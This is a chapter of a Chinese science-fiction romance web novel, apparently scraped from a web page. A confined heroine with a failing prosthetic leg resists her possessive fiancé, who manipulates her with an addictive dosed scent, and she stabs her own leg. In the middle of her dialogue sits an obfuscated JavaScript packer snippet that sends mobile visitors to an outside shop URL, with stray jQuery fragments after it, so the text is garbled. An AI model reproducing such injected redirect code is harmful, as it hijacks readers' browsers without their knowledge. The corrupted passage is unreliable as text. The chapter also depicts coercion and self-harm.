76. 第 76 章
作品:《贝器时代》 许云声还在睡觉,鼾声渐起。
艾知不知道刚才的一幕有没有吵醒到他,还是说他在装睡。
她很累,也没心思管他了,径直侧躺在冰凉的地板上,静默忍耐义肢因电量不足而漏电,刺激左大腿的神经不断抽痛。
当时图便宜,为了让自己少背点债,也是倔着脾气,不肯向许云声服输,自己忍痛拖着残腿找地下城的游医用最便宜的器材装假肢。
便宜东西便宜用,按时充电也能当正常腿用。
艾知本打算还完债后,用攒的钱给自己换个好点的义肢,最起码不能再是充电款的了。但压在身上的任务越来越重,根本没时间换。
后来冤屈解除,良心上稍稍有点过意不去的许云声严厉处罚了阿辛来,提出要给艾知重新更换义肢。
但被艾知一口回绝。
那天是地下城为数不多放晴,能看见阳光的日子。
艾知刚刚用流曜石碎片给自己的便宜义肢充好电,一抬头,与光相撞,美眸流光。
“谢谢,但我不需要。”艾知清透的皮肤宛若白玉,整个人散发出圣洁高贵,但拒人千里之外的光。
“错误的事情已经开始,没有完全愈合的道理。”
艾知对自己失去左腿的接受能力很强,因为她本身就有一颗与正常人类不同的机械心脏。
但不代表她愿意接受许云声迟来的歉意和补偿。
艾知从许云声身侧走过,迎着光不卑不亢地抛下最后一句话——
“处罚和道歉是你该做的,但换不来我的原谅。因为你的失误,我永远都失去了一条腿。”
贝器时代可以让机械嵌入人体,成为人体器官一样正常工作的零件。
但便宜制造的东西必定要为便宜低成本付出一点代价。
机械人造神经缠绕半条完好的左腿,漏出的电流让艾知的肌肉刺痛难忍,机械义肢的一点微小抽搐牵动的是整条腿的酸麻和疼痛。
艾知痛苦地紧皱眉头,蜷缩在地上,疼得倒抽气。
她的声音很轻,不得已才发出一点点声响,心中越发后悔没有早点换个好点的假肢。
她有的时候就在想,如果把自己身上的七零八件全都换成机械的,那她岂不是跟机器人没有区别。
电流窜流的疼痛让艾知生出了许多奇思妙想。
她一会儿又思考当时要是利用许云声的愧疚给自己把腿换了该多好,一会儿在计算自己今年到底多少岁。
如果从十五岁算起,她在贝器时代已经呆了十年,现在她该二十五岁了。
可她带着近新时代二十五岁的记忆,那她是不是又要比现在年长十岁,她三十五岁了?
岂不是比许云声还大?
仍是二十岁容颜的艾知胡思乱想着,因为疼痛,她揪住右腿膝盖,试图缓解身体的折磨。
却摸到了膝盖内侧,皮肉上的一道道纹路——
那是她曾经长得太快,撑裂皮肤生出的生长纹。
还是少女的艾知并不想自己长那么快,因为长得太快,她的身体不足以提供生长速度所需的养分,夜里睡觉时分,经常会被骨头痛醒。
那时候的艾知被养得娇气,她幼稚地希望自己可以不要再长了。
摩挲着一道道比肤色还浅的纹路,不知自己是二十,还是二十五,三十五岁的艾知突然笑出声。
原来,不要再长了是一句可怕的诅咒。
她少女时期就为自己将来的命运下了谶。
抽搐的义肢带动大腿产生痉挛,艾知呼吸变沉,变急促。但是她依旧没有管这要让她窒息的痛,她需要痛苦让自己清醒。
禁闭室的门再次开启,艾知已然没有力气抬头去看来人是谁了。
餐盘放在自己面前,一股熟悉的香味席卷全身。
鸢尾花的气味就像钻进了皮肤,大腿的痉挛得到缓解,电流刺激的疼痛好似大大减轻。
艾知被人扶起,让她靠在自己身上。
迟载半膝跪地,抚摸着艾知汗湿的脸颊,柔声道:“不舒服怎么不说呢?”
虽然刚刚离开了片刻,迟载并未彻底离开,再次回到了监控室。
好不容易喘口气的负责人神经再度紧绷。
这次迟载并没有像刚才那样面对监控视频寸步不离,而是跷着二郎腿坐在飞椅上,监视负责人干活。
负责人无可奈何,如芒刺背。
睁着一双眼睛,打起十二分精神,继续盯正在呼呼大睡的那个地下城一把手,和他的长官——第二区首辅大臣迟载的未婚夫人。
打起十二分精神还是有用的,负责人很快就发现艾知的不对劲。
刚开始他以为夫人只是累了,想躺在地板上休息,结果镜头刚想对准那个睡得跟死猪一样的一把手流氓,有着一双慧眼的负责人发现艾知一直在发抖。
禁闭室的声音同步传到监控室,负责人和迟载同时听到艾知压抑的痛苦的喘气声。
迟载立刻站起身,但没有动身。
负责人不敢轻举妄动,只得陪着长官一同站着。
“小姐好像很痛苦……”负责人试探性地问道。
迟载“嗯”了一声,覆盖一层寒霜的眼睛看不出眸底翻涌了什么样的情绪。
艾知痛得翻了个身,也不见迟载动弹或者说一句话。
负责人惴惴不安,明眼人光看都知道艾知身体不适,但迟载不下达指令,他也不好越级叫医生。
良久,迟载才问了一句:“餐食准备了吗?”
负责人也是个人精,一听首辅大臣这样问话,立刻就明白言下之意。
“准备了准备了,我们提早就备下了。小姐身份高贵,我们禁闭室提供的饮食都是精心安排的。”
迟载的自尊心不允许自己再热脸贴冷屁股,但是如果是送餐的话,就另当别论了。
艾知现在觉得自己要疯了,鸢尾花香渗进骨子里,她的每一处肌肤好似都在叫嚣,渴求能再靠近一点她许久未闻到的味道,她五年未见的身后的男人。
怀中人紧闭双眼,浑身发颤,腿部还在痉挛。
温热的大手轻抚那只安装了假肢的残腿,试图用热减缓艾知的痛。
“宝贝,我答应你,待会儿就不痛了。”迟载半垂眼睫,眼神晦暗不明,似心疼,又似沉思。
不,我不要你的帮助,我宁可痛死,也不要你的哀怜。
艾知痛恨迟载的深情软语,就如同愤恨这副身体对鸢尾花香无可救药的沉迷。
她不是菟丝花,不是金丝雀。
她本该自由生长,而不是被给予束缚下的抚慰。
一个暗示性的吻旋即要落向眉间,艾知用力推开迟载。
“你走开,我不需要你的怜惜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17422649|184359||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!”
因为极力摆脱对鸢尾花的依赖,艾知眼角通红,带着闪闪泪光,大口喘着气。
迟载显然没有料到艾知剧烈的抗拒,先是一愣,很快恢复如常。
他冷静地,不带任何感情地睨向浑身发颤的艾知。
目光下,还是记忆中的那张清秀艳丽的脸庞。但原先单纯赢弱的少女已经蜕变成眼神带有锋芒的女人。
这样抗拒的眼神犹如另一个二十五岁的艾知。
有时,不得不感慨一句造物主的神奇,即使生长轨迹不同,无论是近新时代的艾知,还是贝器时代的艾知,二十五岁的她们均均选择了相同的路。
同样抗拒的眼神,但如今的艾知还要激烈数十倍。
再一次刺痛了迟载的心,将他二十一岁被心上人抛弃的痛拿出来鞭笞。
男人天生的好胜欲和占有欲迅速充斥心头,望着与身体强烈的瘾抗争而痛苦的女孩,他再一次逼近。
而断了一条腿的艾知却要为更近的距离承受更强烈的折磨。
她脑子里有个声音一直在尖叫,那个声音要她顺从,要她听话,要她不再反抗。
“艾知,有时你不得不承认。你的身体比你的心更先接受我的亲吻和怀抱。”
迟载站起身,俯视趴在地上,挣扎后缩的艾知,将女孩的崩溃看在眼里。
更觉得她像一只可怜兮兮的小狗崽。
那么弱,非要比自己强大数倍的人犟。
可最后不还是要回归人的怀抱吗?
迟载并不信人类能抵抗得了加了剂量的花香,更何况,艾知本身就对这种气味着迷呢?
他张开手臂,势在必得,
耳朵轰鸣的声音越来越强烈,前面男人身上的味道好似愈发浓烈,艾知觉得自己下一秒就要扑向那个男人的怀抱。
可她不能屈服,她不是迟载豢养的宠物,她是艾知,是来自近新时代的人。
眨眼间,艾知的头发忽然散落,艾知在迟载的注目间,将绑发的发钗狠狠插进自己的右腿。
顿时,鲜血涌出,亦如当年艾知刺向自己的那一剑。
“你疯了!”迟载迅即按住发钗,不让血流的更多,然后抬眼看向禁闭室的某一个角落的监视器,声音有些抖,“叫医生过来。”
艾知的双手已被迟载控住,防止她近一步伤害自己。
男人着急错愕的表情映入眼帘,腿部胀痛难耐,艾知竟觉得不及迟载欺骗自己那般心痛。
“叫医生没用,治好了,我还会刺自己一刀。一刀不行,再刺第二刀。”艾知半敛浓密挺翘的黑睫,看不清眼底的神情。
“你说什么胡话呢?为什么要伤自己?我不是说过了吗?你想怎么发泄都可以,就是不可以伤害自己。”
迟载焦虑地频频回首,等待医生的几分钟像过了几刻钟一样漫长。
许久未进食,又失血,再加上义肢没电,耗得艾知已无半点耐心。
她只想快刀斩乱麻,对迟载下了冷情的判决。
“你越对我好,越会让我想起你那些让我无法原谅的事情,让我更恨你。”
迟载身体一僵,眼神一黯,手指不自觉地抽动了一下。
艾知用尽全力推搡搂住自己的迟载,眼神冷漠且厌恶。
“我讨厌你自以为是的对我好。我宁可死,也不想接受你的怜悯。”

